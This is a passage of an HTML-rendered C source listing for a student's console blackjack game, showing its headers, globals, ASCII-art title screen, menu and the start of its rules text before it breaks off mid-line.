class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//// Programmer: Vladislav Shulman</span></span><br><span class="line"><span class="comment">// Final Project</span></span><br><span class="line"><span class="comment">// Blackjack</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">// Feel free to use any and all parts of this program and claim it as your own work</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">//FINAL DRAFT</span></span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;math.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span>                <span class="comment">//Used for srand((unsigned) time(NULL)) command</span></span></span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">define</span> spade <span class="string">&#x27;S&#x27;</span>                 <span class="comment">//Used to print spade symbol</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> club <span class="string">&#x27;C&#x27;</span>                  <span class="comment">//Used to print club symbol</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> diamond <span class="string">&#x27;D&#x27;</span>               <span class="comment">//Used to print diamond symbol</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> heart <span class="string">&#x27;H&#x27;</span>                 <span class="comment">//Used to print heart symbol</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> RESULTS <span class="string">&quot;Blackjack.txt&quot;</span>  <span class="comment">//File name is Blackjack</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">//Global Variables</span></span><br><span class="line"><span class="type">int</span> k;</span><br><span class="line"><span class="type">int</span> l;</span><br><span class="line"><span class="type">int</span> d;</span><br><span class="line"><span class="type">int</span> won;</span><br><span class="line"><span class="type">int</span> loss;</span><br><span class="line"><span class="type">int</span> cash = <span class="number">500</span>;</span><br><span class="line"><span class="type">int</span> bet;</span><br><span class="line"><span class="type">int</span> random_card;</span><br><span class="line"><span class="type">int</span> player_total=<span class="number">0</span>;</span><br><span class="line"><span class="type">int</span> dealer_total;</span><br><span class="line"> </span><br><span class="line"><span class="comment">//Function Prototypes</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">clubcard</span><span class="params">()</span>;      <span class="comment">//Displays Club Card Image</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">diamondcard</span><span class="params">()</span>;   <span class="comment">//Displays Diamond Card Image</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">heartcard</span><span class="params">()</span>;     <span class="comment">//Displays Heart Card Image</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">spadecard</span><span class="params">()</span>;     <span class="comment">//Displays Spade Card Image</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">randcard</span><span class="params">()</span>;      <span class="comment">//Generates random card</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">betting</span><span class="params">()</span>;       <span class="comment">//Asks user amount to bet</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">asktitle</span><span class="params">()</span>;     <span class="comment">//Asks user to continue</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">rules</span><span class="params">()</span>;        <span class="comment">//Prints &quot;Rules of Vlad&#x27;s Blackjack&quot; menu</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">play</span><span class="params">()</span>;         <span class="comment">//Plays game</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">dealer</span><span class="params">()</span>;       <span class="comment">//Function to play for dealer AI</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">stay</span><span class="params">()</span>;         <span class="comment">//Function for when user selects &#x27;Stay&#x27;</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">cash_test</span><span class="params">()</span>;    <span class="comment">//Test for if user has cash remaining in purse</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">askover</span><span class="params">()</span>;      <span class="comment">//Asks if user wants to continue playing</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">fileresults</span><span class="params">()</span>;  <span class="comment">//Prints results into Blackjack.txt file in program directory</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">//Main Function</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line">    setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, _IOLBF, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> choice1;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n              222                111                            &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n            222 222            11111                              &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n           222   222          11 111                            &quot;</span>); </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n                222              111                               &quot;</span>); </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n               222               111                           &quot;</span>);   </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                &quot;</span>, club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);  </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              &quot;</span>, club, club, spade, spade, diamond, diamond, heart, heart, club, club);            </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c    %c    %c%c          %c    %c     %c          %c  %c               &quot;</span>, club, club, spade, spade, diamond, diamond, heart, club, club);                        </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              &quot;</span>, club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);      </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             &quot;</span>, club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);                       </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c     %c   %c%c         %c      %c    %c          %c   %c               &quot;</span>, club, club, spade, spade, diamond, diamond, heart, club, club);                                         </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             &quot;</span>, club, club, spade, spade, diamond, diamond, heart, heart, club, club);                                                            </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            &quot;</span>, club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);                                                                                     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n                        21                                   &quot;</span>);</span><br><span class="line">     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                &quot;</span>, diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        %c%c        %c  %c       %c     %c   %c   %c              &quot;</span>, diamond, diamond, heart, heart, club, club, spade, spade);                                      </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        %c%c       %c    %c     %c          %c  %c               &quot;</span>, diamond, diamond, heart, heart, club, spade, spade);                                           </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        %c%c       %c %c%c %c     %c          %c %c              &quot;</span>, diamond, diamond, heart, heart, heart, heart, club, spade, spade);                                     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             &quot;</span>, diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);                                                </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        %c%c      %c      %c    %c          %c   %c               &quot;</span>, diamond, diamond, heart, heart, club, spade, spade);                                                                               </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n     %c  %c%c     %c        %c    %c     %c   %c    %c             &quot;</span>, diamond, diamond, diamond, heart, heart, club, spade, spade);                                                                                                               </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            &quot;</span>, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                                                                                                                                        </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);  </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n         222                     111                         &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n        222                      111                         &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n       222                       111                         &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n      222222222222222      111111111111111                       &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n      2222222222222222    11111111111111111                         &quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">     </span><br><span class="line">    asktitle();</span><br><span class="line">     </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span>(<span class="number">0</span>);</span><br><span class="line">&#125; <span class="comment">//end program</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">asktitle</span><span class="params">()</span> <span class="comment">// Function for asking player if they want to continue</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> choice1;</span><br><span class="line">    <span class="type">int</span> choice2;</span><br><span class="line">     </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n                 Are You Ready?&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n                ----------------&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n                      (Y/N)\n                        &quot;</span>);</span><br><span class="line">     <span class="built_in">scanf</span>(<span class="string">&quot;\n%c&quot;</span>,&amp;choice1);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">while</span>((choice1!=<span class="string">&#x27;Y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;N&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If invalid choice entered</span></span><br><span class="line">    &#123;                                                                           </span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Incorrect Choice. Please Enter Y for Yes or N for No.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>,&amp;choice1);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span>((choice1 == <span class="string">&#x27;Y&#x27;</span>) || (choice1 == <span class="string">&#x27;y&#x27;</span>)) <span class="comment">// If yes, continue. Prints menu.</span></span><br><span class="line">    &#123; </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\nEnter 1 to Begin the Greatest Game Ever Played.&quot;</span>);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\nEnter 2 to See a Complete Listing of Rules.&quot;</span>);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\nEnter 3 to Exit Game. (Not Recommended)&quot;</span>);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\nChoice: &quot;</span>);</span><br><span class="line">            <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;choice2); <span class="comment">// Prompts user for choice</span></span><br><span class="line">            <span class="keyword">if</span>((choice2&lt;<span class="number">1</span>) || (choice2&gt;<span class="number">3</span>)) <span class="comment">// If invalid choice entered</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;\nIncorrect Choice. Please enter 1, 2 or 3\n&quot;</span>);</span><br><span class="line">                <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;choice2);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">switch</span>(choice2) <span class="comment">// Switch case for different choices</span></span><br><span class="line">            &#123;   </span><br><span class="line">                <span class="keyword">case</span> <span class="number">1</span>: <span class="comment">// Case to begin game</span></span><br><span class="line">                   <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);                    </span><br><span class="line">                   play();                                       </span><br><span class="line">                   <span class="keyword">break</span>;</span><br><span class="line">                    </span><br><span class="line">                <span class="keyword">case</span> <span class="number">2</span>: <span class="comment">// Case to see rules</span></span><br><span class="line">                   <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">                   rules();</span><br><span class="line">                   <span class="keyword">break</span>;</span><br><span class="line">                    </span><br><span class="line">                <span class="keyword">case</span> <span class="number">3</span>: <span class="comment">// Case to exit game</span></span><br><span class="line">                   <span class="built_in">printf</span>(<span class="string">&quot;\nYour day could have been perfect.&quot;</span>);</span><br><span class="line">                   <span class="built_in">printf</span>(<span class="string">&quot;\nHave an almost perfect day!\n\n&quot;</span>);                   </span><br><span class="line">                   <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">                   <span class="keyword">break</span>;</span><br><span class="line">                    </span><br><span class="line">                <span class="keyword">default</span>:</span><br><span class="line">                   <span class="built_in">printf</span>(<span class="string">&quot;\nInvalid Input&quot;</span>);</span><br><span class="line">            &#125; <span class="comment">// End switch case</span></span><br><span class="line">    &#125; <span class="comment">// End if loop</span></span><br><span class="line">    </span><br><span class="line">             </span><br><span class="line"> </span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span>((choice1 == <span class="string">&#x27;N&#x27;</span>) || (choice1 == <span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If no, exit program</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nYour day could have been perfect.&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nHave an almost perfect day!\n\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125; <span class="comment">// End function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">rules</span><span class="params">()</span> <span class="comment">//Prints &quot;Rules of Vlad&#x27;s Blackjack&quot; list</span></span><br><span class="line">&#123;</span><br><span class="line">     <span class="type">char</span> choice1;</span><br><span class="line">     <span class="type">int</span> choice2;</span><br><span class="line">      </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n           RULES of VLAD&#x27;s BLACKJACK&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n          ---------------------------&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nI.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     Thou shalt not question the odds of this game.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c This program generates cards at random.&quot;</span>, spade);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c If you keep losing, you are very unlucky!\n&quot;</span>, diamond);</span><br><span class="line">      </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nII.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     Each card has a value.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c Number cards 1 to 10 hold a value of their number.&quot;</span>, spade);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c J, Q, and K cards hold a value of 10.&quot;</span>, diamond);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c Ace cards hold a value of 11&quot;</span>, club);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     The goal of this game is to reach a card value total of 21.\n&quot;</span>);</span><br><span class="line">      </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nIII.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c Staying will keep you safe, hitting will add a card.&quot;</span>, spade);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     Because you are competing against the dealer, you must beat his hand.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     BUT BEWARE!.&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n      %c If your total goes over 21, you will LOSE!.&quot;</span>, diamond);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n     But the world is not over, because you can always play again.\n&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME 